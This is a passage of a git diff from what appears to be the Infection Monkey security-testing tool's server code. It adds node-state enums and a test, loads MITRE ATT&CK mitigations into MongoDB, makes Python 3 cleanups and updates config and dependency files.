ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting' + MANUAL_LINUX = 'manual_linux' + MANUAL_LINUX_RUNNING = 'manual_linux_running' + MANUAL_WINDOWS = 'manual_windows' + MANUAL_WINDOWS_RUNNING = 'manual_windows_running' + MONKEY_LINUX = 'monkey_linux' + MONKEY_LINUX_RUNNING = 'monkey_linux_running' + MONKEY_WINDOWS = 'monkey_windows' + MONKEY_WINDOWS_RUNNING = 'monkey_windows_running' + MONKEY_WINDOWS_STARTING = 'monkey_windows_starting' + MONKEY_LINUX_STARTING = 'monkey_linux_starting' + MONKEY_WINDOWS_OLD = 'monkey_windows_old' + MONKEY_LINUX_OLD = 'monkey_linux_old' + + @staticmethod + def get_by_keywords(keywords: List) -> NodeStates: + potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)] + if len(potential_groups) > 1: + raise MultipleGroupsFoundException("Multiple groups contain provided keywords. " + "Manually build group string to ensure keyword order.") + elif len(potential_groups) == 0: + raise NoGroupsFoundException("No groups found with provided keywords. " + "Check for typos and make sure group codes want to find exists.") + return potential_groups[0] + + @staticmethod + def _is_state_from_keywords(group, keywords) -> bool: + group_keywords = group.value.split("_") + return collections.Counter(group_keywords) == collections.Counter(keywords) + + +class MultipleGroupsFoundException(Exception): + pass + + +class NoGroupsFoundException(Exception): + pass diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py new file mode 100644 index 000000000..7a8b7dfd1 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -0,0 +1,15 @@ +from unittest import TestCase + +from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException + + +class TestNodeGroups(TestCase): + + def test_get_group_by_keywords(self): + self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND) + self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING) + self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) + with self.assertRaises(NoGroupsFoundException): + NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) + + diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index 3d43017f6..ddd60d5c0 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -2,6 +2,7 @@ import logging import requests +from common.version import get_version from monkey_island.cc.environment.environment import env __author__ = "itay.mizeretz" @@ -39,7 +40,7 @@ class VersionUpdateService: Checks if newer monkey version is available :return: False if not, version in string format ('1.6.2') otherwise """ - url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version()) + url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), get_version()) reply = requests.get(url, timeout=15) @@ -53,5 +54,4 @@ class VersionUpdateService: @staticmethod def get_download_link(): - return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version()) - + return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), get_version()) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 227bd18da..a802aabf1 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -5,7 +5,6 @@ __author__ = 'maor.rayzin' class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' def __init__(self, monkey_id, wmi_info, user_secrets): @@ -95,7 +94,7 @@ class WMIHandler(object): groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] child_sid = '' - if type(child_part) in (unicode, str): + if isinstance(child_part, str): child_part = str(child_part) name = None domain_name = None @@ -124,7 +123,7 @@ class WMIHandler(object): self.info_for_mongo[child_sid]['member_of'].append(group_sid) def insert_info_to_mongo(self): - for entity in self.info_for_mongo.values(): + for entity in list(self.info_for_mongo.values()): if entity['machine_id']: # Handling for local entities. mongo.db.groupsandusers.update({'SID': entity['SID'], @@ -160,4 +159,3 @@ class WMIHandler(object): {'type': USERTYPE, 'entities_list': 1}) if entity_details.get('type') == GROUPTYPE: self.add_admin(entity_details, machine_id) - diff --git a/monkey/monkey_island/cc/set_server_config.py b/monkey/monkey_island/cc/set_server_config.py new file mode 100644 index 000000000..fc20747c9 --- /dev/null +++ b/monkey/monkey_island/cc/set_server_config.py @@ -0,0 +1,46 @@ +import argparse +import json +import logging +from pathlib import Path + +SERVER_CONFIG = "server_config" + +logger = logging.getLogger(__name__) +logger.addHandler(logging.StreamHandler()) +logger.setLevel(logging.DEBUG) + + +def main(): + args = parse_args() + file_path = get_config_file_path(args) + + # Read config + with open(file_path) as config_file: + config_data = json.load(config_file) + + # Edit the config + config_data[SERVER_CONFIG] = args.server_config + + # Write new config + logger.info("Writing the following config: {}".format(json.dumps(config_data, indent=4))) + with open(file_path, "w") as config_file: + json.dump(config_data, config_file, indent=4) + config_file.write("\n") # Have to add newline at end of file, since json.dump does not. + + +def get_config_file_path(args): + file_path = Path(__file__).parent.joinpath(args.file_name) + logger.info("Config file path: {}".format(file_path)) + return file_path + + +def parse_args(): + parser = argparse.ArgumentParser() + parser.add_argument("server_config", choices=["standard", "testing", "password"]) + parser.add_argument("-f", "--file_name", required=False, default="server_config.json") + args = parser.parse_args() + return args + + +if __name__ == '__main__': + main() diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py new file mode 100644 index 000000000..007fca6ef --- /dev/null +++ b/monkey/monkey_island/cc/setup.py @@ -0,0 +1,42 @@ +import logging + +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface +from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations +from monkey_island.cc.database import mongo +from pymongo import errors + + +logger = logging.getLogger(__name__) + + +def setup(): + logger.info("Setting up the Monkey Island, this might take a while...") + try_store_mitigations_on_mongo() + + +def try_store_mitigations_on_mongo(): + mitigation_collection_name = AttackMitigations.COLLECTION_NAME + try: + mongo.db.validate_collection(mitigation_collection_name) + if mongo.db.attack_mitigations.count() == 0: + raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again") + except errors.OperationFailure: + try: + mongo.db.create_collection(mitigation_collection_name) + except errors.CollectionInvalid: + pass + finally: + store_mitigations_on_mongo() + + +def store_mitigations_on_mongo(): + stix2_mitigations = MitreApiInterface.get_all_mitigations() + mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques()) + mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships() + for relationship in mitigation_technique_relationships: + mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']]) + for relationship in mitigation_technique_relationships: + mongo_mitigations[relationship['target_ref']].\ + add_no_mitigations_info(stix2_mitigations[relationship['source_ref']]) + for key, mongo_object in mongo_mitigations.items(): + mongo_object.save() diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index 6bca20f4a..35e568399 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -6,7 +6,7 @@ from monkey_island.cc.models.zero_trust.finding import Finding class IslandTestCase(unittest.TestCase): def fail_if_not_testing_env(self): - self.failIf(not env.testing, "Change server_config.json to testing environment.") + self.assertFalse(not env.testing, "Change server_config.json to testing environment.") @staticmethod def clean_monkey_db(): diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc index 31130e826..7c92bc8e1 100644 --- a/monkey/monkey_island/cc/ui/.babelrc +++ b/monkey/monkey_island/cc/ui/.babelrc @@ -1,4 +1,10 @@ { - "presets": ["es2015", "stage-0", "react"], - "plugins": ["emotion"] + "presets": [ + "es2015", + "stage-0", + "react" + ], + "plugins": [ + "emotion" + ] } diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index b542daaf7..6b5cd85f9 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -19,14 +19,22 @@ }, "rules": { "comma-dangle": 1, - "quotes": [ 1, "single" ], + "quotes": [ + 1, + "single" + ], "no-undef": 1, "global-strict": 0, "no-extra-semi": 1, "no-underscore-dangle": 0, "no-console": 1, "no-unused-vars": 1, - "no-trailing-spaces": [1, { "skipBlankLines": true }], + "no-trailing-spaces": [ + 1, + { + "skipBlankLines": true + } + ], "no-unreachable": 1, "no-alert": 0, "react/jsx-uses-react": 1, diff --git a/monkey/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js index 87401bfe6..660cb8128 100644 --- a/monkey/monkey_island/cc/ui/karma.conf.js +++ b/monkey/monkey_island/cc/ui/karma.conf.js @@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config'); // Set node environment to testing process.env.NODE_ENV = 'test'; -module.exports = function(config) { +module.exports = function (config) { config.set({ basePath: '', - browsers: [ 'PhantomJS' ], + browsers: ['PhantomJS'], files: [ 'test/loadtests.js' ], port: 8000, captureTimeout: 60000, - frameworks: [ 'mocha', 'chai' ], + frameworks: ['mocha', 'chai'], client: { mocha: {} }, singleRun: true, - reporters: [ 'mocha', 'coverage' ], + reporters: ['mocha', 'coverage'], preprocessors: { - 'test/loadtests.js': [ 'webpack', 'sourcemap' ] + 'test/loadtests.js': ['webpack', 'sourcemap'] }, webpack: webpackCfg, webpackServer: { @@ -28,8 +28,8 @@ module.exports = function(config) { coverageReporter: { dir: 'coverage/', reporters: [ - { type: 'html' }, - { type: 'text' } + {type: 'html'}, + {type: 'text'} ] } }); diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index f366d73bd..7d3358a3d 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -19,10 +19,10 @@ "dev": true, "requires": { "@babel/types": "7.0.0-beta.44", - "jsesc": "^2.5.1", - "lodash": "^4.2.0", - "source-map": "^0.5.0", - "trim-right": "^1.0.1" + "jsesc": "2.5.1", + "lodash": "4.17.10", + "source-map": "0.5.6", + "trim-right": "1.0.1" }, "dependencies": { "jsesc": { @@ -54,27 +54,27 @@ } }, "@babel/helper-module-imports": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz", - "integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==", + "version": "7.7.0", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.7.0.tgz", + "integrity": "sha512-Dv3hLKIC1jyfTkClvyEkYP2OlkzNvWs5+Q8WgPbxM5LMeorons7iPP91JM+DU7tRbhqA1ZeooPaMFvQrn23RHw==", "requires": { - "@babel/types": "^7.0.0" + "@babel/types": "7.7.2" }, "dependencies": { "@babel/types": { - "version": "7.4.0", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.4.0.tgz", - "integrity": "sha512-aPvkXyU2SPOnztlgo8n9cEiXW755mgyvueUPcpStqdzoSPm0fjO0vQBjLkt3JKJW7ufikfcnMTTPsN1xaTsBPA==", + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.7.2.tgz", + "integrity": "sha512-YTf6PXoh3+eZgRCBzzP25Bugd2ngmpQVrk7kXX0i5N9BO7TFBtIgZYs7WtxtOGs8e6A4ZI7ECkbBCEHeXocvOA==", "requires": { - "esutils": "^2.0.2", - "lodash": "^4.17.11", - "to-fast-properties": "^2.0.0" + "esutils": "2.0.2", + "lodash": "4.17.15", + "to-fast-properties": "2.0.0" } }, "lodash": { - "version": "4.17.11", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" }, "to-fast-properties": { "version": "2.0.0", @@ -98,9 +98,9 @@ "integrity": "sha512-Il19yJvy7vMFm8AVAh6OZzaFoAd0hbkeMZiX3P5HGD+z7dyI7RzndHB0dg6Urh/VAFfHtpOIzDUSxmY6coyZWQ==", "dev": true, "requires": { - "chalk": "^2.0.0", - "esutils": "^2.0.2", - "js-tokens": "^3.0.0" + "chalk": "2.4.1", + "esutils": "2.0.2", + "js-tokens": "3.0.2" }, "dependencies": { "ansi-styles": { @@ -109,7 +109,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -118,9 +118,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -135,7 +135,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -145,7 +145,7 @@ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.1.5.tgz", "integrity": "sha512-xKnPpXG/pvK1B90JkwwxSGii90rQGKtzcMt2gI5G6+M0REXaq6rOHsGC2ay6/d0Uje7zzvSzjEzfR3ENhFlrfA==", "requires": { - "regenerator-runtime": "^0.12.0" + "regenerator-runtime": "0.12.1" }, "dependencies": { "regenerator-runtime": { @@ -156,23 +156,18 @@ } }, "@babel/runtime-corejs2": { - "version": "7.4.3", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.4.3.tgz", - "integrity": "sha512-anTLTF7IK8Hd5f73zpPzt875I27UaaTWARJlfMGgnmQhvEe1uNHQRKBUbXL0Gc0VEYiVzsHsTPso5XdK8NGvFg==", + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.7.4.tgz", + "integrity": "sha512-hKNcmHQbBSJFnZ82ewYtWDZ3fXkP/l1XcfRtm7c8gHPM/DMecJtFFBEp7KMLZTuHwwb7RfemHdsEnd7L916Z6A==", "requires": { - "core-js": "^2.6.5", - "regenerator-runtime": "^0.13.2" + "core-js": "2.6.10", + "regenerator-runtime": "0.13.3" }, "dependencies": { - "core-js": { - "version": "2.6.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.5.tgz", - "integrity": "sha512-klh/kDpwX8hryYL14M9w/xei6vrv6sE8gTHDG7/T/+SEovB/G4ejwcfE/CBzO6Edsu+OETZMZ3wcX/EjUkrl5A==" - }, "regenerator-runtime": { - "version": "0.13.2", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz", - "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA==" + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz", + "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==" } } }, @@ -185,7 +180,7 @@ "@babel/code-frame": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "lodash": "^4.2.0" + "lodash": "4.17.10" }, "dependencies": { "babylon": { @@ -208,10 +203,10 @@ "@babel/helper-split-export-declaration": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "debug": "^3.1.0", - "globals": "^11.1.0", - "invariant": "^2.2.0", - "lodash": "^4.2.0" + "debug": "3.1.0", + "globals": "11.7.0", + "invariant": "2.2.2", + "lodash": "4.17.10" }, "dependencies": { "babylon": { @@ -243,9 +238,9 @@ "integrity": "sha512-5eTV4WRmqbaFM3v9gHAIljEQJU4Ssc6fxL61JN+Oe2ga/BwyjzjamwkCVVAQjHGuAX8i0BWo42dshL8eO5KfLQ==", "dev": true, "requires": { - "esutils": "^2.0.2", - "lodash": "^4.2.0", - "to-fast-properties": "^2.0.0" + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "2.0.0" }, "dependencies": { "to-fast-properties": { @@ -256,261 +251,365 @@ } } }, - "@emotion/cache": { - "version": "10.0.9", - "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz", - "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==", + "@egjs/hammerjs": { + "version": "2.0.16", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.16.tgz", + "integrity": "sha512-FoNZODUsvRNx98ep4/Qc1uojddZF+YKC714WB3PH+6eRHZwk3eRObHkmHmVI5+VyJJTfFp+dF1Zs3RdrZJEHUA==", "requires": { - "@emotion/sheet": "0.9.2", - "@emotion/stylis": "0.8.3", - "@emotion/utils": "0.11.1", - "@emotion/weak-memoize": "0.2.2" + "@types/hammerjs": "2.0.36" + } + }, + "@emotion/cache": { + "version": "10.0.19", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.19.tgz", + "integrity": "sha512-BoiLlk4vEsGBg2dAqGSJu0vJl/PgVtCYLBFJaEO8RmQzPugXewQCXZJNXTDFaRlfCs0W+quesayav4fvaif5WQ==", + "requires": { + "@emotion/sheet": "0.9.3", + "@emotion/stylis": "0.8.4", + "@emotion/utils": "0.11.2", + "@emotion/weak-memoize": "0.2.4" } }, "@emotion/core": { - "version": "10.0.10", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz", - "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==", + "version": "10.0.22", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.22.tgz", + "integrity": "sha512-7eoP6KQVUyOjAkE6y4fdlxbZRA4ILs7dqkkm6oZUJmihtHv0UBq98VgPirq9T8F9K2gKu0J/au/TpKryKMinaA==", "requires": { - "@emotion/cache": "^10.0.9", - "@emotion/css": "^10.0.9", - "@emotion/serialize": "^0.11.6", - "@emotion/sheet": "0.9.2", - "@emotion/utils": "0.11.1" + "@babel/runtime": "7.7.2", + "@emotion/cache": "10.0.19", + "@emotion/css": "10.0.22", + "@emotion/serialize": "0.11.14", + "@emotion/sheet": "0.9.3", + "@emotion/utils": "0.11.2" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.7.2.tgz", + "integrity": "sha512-JONRbXbTXc9WQE2mAZd1p0Z3DZ/6vaQIkgYMSTP3KjRCyd7rCZCcfhCyX+YjwcKxcZ82UrxbRD358bpExNgrjw==", + "requires": { + "regenerator-runtime": "0.13.3" + } + }, + "regenerator-runtime": { + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz", + "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==" + } } }, "@emotion/css": { - "version": "10.0.9", - "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.9.tgz", - "integrity": "sha512-jtHhUSWw+L7yxYgNtC+KJ3Ory90/jiAtpG1qT+gTQQ/RR5AMiigs9/lDHu/vnwljaq2S48FoKb/FZZMlJcC4bw==", + "version": "10.0.22", + "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.22.tgz", + "integrity": "sha512-8phfa5mC/OadBTmGpMpwykIVH0gFCbUoO684LUkyixPq4F1Wwri7fK5Xlm8lURNBrd2TuvTbPUGxFsGxF9UacA==", "requires": { - "@emotion/serialize": "^0.11.6", - "@emotion/utils": "0.11.1", - "babel-plugin-emotion": "^10.0.9" + "@emotion/serialize": "0.11.14", + "@emotion/utils": "0.11.2", + "babel-plugin-emotion": "10.0.23" } }, "@emotion/hash": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz", - "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA==" + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.3.tgz", + "integrity": "sha512-14ZVlsB9akwvydAdaEnVnvqu6J2P6ySv39hYyl/aoB6w/V+bXX0tay8cF6paqbgZsN2n5Xh15uF4pE+GvE+itw==" }, "@emotion/memoize": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz", - "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg==" + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.3.tgz", + "integrity": "sha512-2Md9mH6mvo+ygq1trTeVp2uzAKwE2P7In0cRpD/M9Q70aH8L+rxMLbb3JCN2JoSWsV2O+DdFjfbbXoMoLBczow==" }, "@emotion/serialize": { - "version": "0.11.6", - "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.6.tgz", - "integrity": "sha512-n4zVv2qGLmspF99jaEUwnMV0fnEGsyUMsC/8KZKUSUTZMYljHE+j+B6rSD8PIFtaUIhHaxCG2JawN6L+OgLN0Q==", + "version": "0.11.14", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.14.tgz", + "integrity": "sha512-6hTsySIuQTbDbv00AnUO6O6Xafdwo5GswRlMZ5hHqiFx+4pZ7uGWXUQFW46Kc2taGhP89uXMXn/lWQkdyTosPA==", "requires": { - "@emotion/hash": "0.7.1", - "@emotion/memoize": "0.7.1", - "@emotion/unitless": "0.7.3", - "@emotion/utils": "0.11.1", - "csstype": "^2.5.7" + "@emotion/hash": "0.7.3", + "@emotion/memoize": "0.7.3", + "@emotion/unitless": "0.7.4", + "@emotion/utils": "0.11.2", + "csstype": "2.6.7" } }, "@emotion/sheet": { - "version": "0.9.2", - "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz", - "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A==" + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.3.tgz", + "integrity": "sha512-c3Q6V7Df7jfwSq5AzQWbXHa5soeE4F5cbqi40xn0CzXxWW9/6Mxq48WJEtqfWzbZtW9odZdnRAkwCQwN12ob4A==" }, "@emotion/stylis": { - "version": "0.8.3", - "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz", - "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q==" + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.4.tgz", + "integrity": "sha512-TLmkCVm8f8gH0oLv+HWKiu7e8xmBIaokhxcEKPh1m8pXiV/akCiq50FvYgOwY42rjejck8nsdQxZlXZ7pmyBUQ==" }, "@emotion/unitless": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz", - "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg==" + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.4.tgz", + "integrity": "sha512-kBa+cDHOR9jpRJ+kcGMsysrls0leukrm68DmFQoMIWQcXdr2cZvyvypWuGYT7U+9kAExUE7+T7r6G3C3A6L8MQ==" }, "@emotion/utils": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz", - "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg==" + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.2.tgz", + "integrity": "sha512-UHX2XklLl3sIaP6oiMmlVzT0J+2ATTVpf0dHQVyPJHTkOITvXfaSqnRk6mdDhV9pR8T/tHc3cex78IKXssmzrA==" }, "@emotion/weak-memoize": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz", - "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA==" + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.4.tgz", + "integrity": "sha512-6PYY5DVdAY1ifaQW6XYTnOMihmBVT27elqSjEoodchsGjzYlEsTQMcEhSud99kVawatyTZRTiVkJ/c6lwbQ7nA==" + }, + "@fortawesome/fontawesome-common-types": { + "version": "0.2.25", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.25.tgz", + "integrity": "sha512-3RuZPDuuPELd7RXtUqTCfed14fcny9UiPOkdr2i+cYxBoTOfQgxcDoq77fHiiHcgWuo1LoBUpvGxFF1H/y7s3Q==" + }, + "@fortawesome/fontawesome-svg-core": { + "version": "1.2.25", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.25.tgz", + "integrity": "sha512-MotKnn53JKqbkLQiwcZSBJVYtTgIKFbh7B8+kd05TSnfKYPFmjKKI59o2fpz5t0Hzl35vVGU6+N4twoOpZUrqA==", + "requires": { + "@fortawesome/fontawesome-common-types": "0.2.25" + } + }, + "@fortawesome/free-regular-svg-icons": { + "version": "5.11.2", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.11.2.tgz", + "integrity": "sha512-k0vbThRv9AvnXYBWi1gn1rFW4X7co/aFkbm0ZNmAR5PoWb9vY9EDDDobg8Ay4ISaXtCPypvJ0W1FWkSpLQwZ6w==", + "requires": { + "@fortawesome/fontawesome-common-types": "0.2.25" + } + }, + "@fortawesome/free-solid-svg-icons": { + "version": "5.11.2", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.11.2.tgz", + "integrity": "sha512-zBue4i0PAZJUXOmLBBvM7L0O7wmsDC8dFv9IhpW5QL4kT9xhhVUsYg/LX1+5KaukWq4/cbDcKT+RT1aRe543sg==", + "requires": { + "@fortawesome/fontawesome-common-types": "0.2.25" + } + }, + "@fortawesome/react-fontawesome": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.7.tgz", + "integrity": "sha512-AHWSzOsHBe5vqOkrvs+CKw+8eLl+0XZsVixOWhTPpGpOA8WQUbVU6J9cmtAvTaxUU5OIf+rgxxF8ZKc3BVldxg==", + "requires": { + "prop-types": "15.7.2" + } }, "@kunukn/react-collapse": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.0.5.tgz", - "integrity": "sha1-g7BZ6nflM6g+NH6RK0dknyvAxps=" + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", + "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, - "@webassemblyjs/ast": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz", - "integrity": 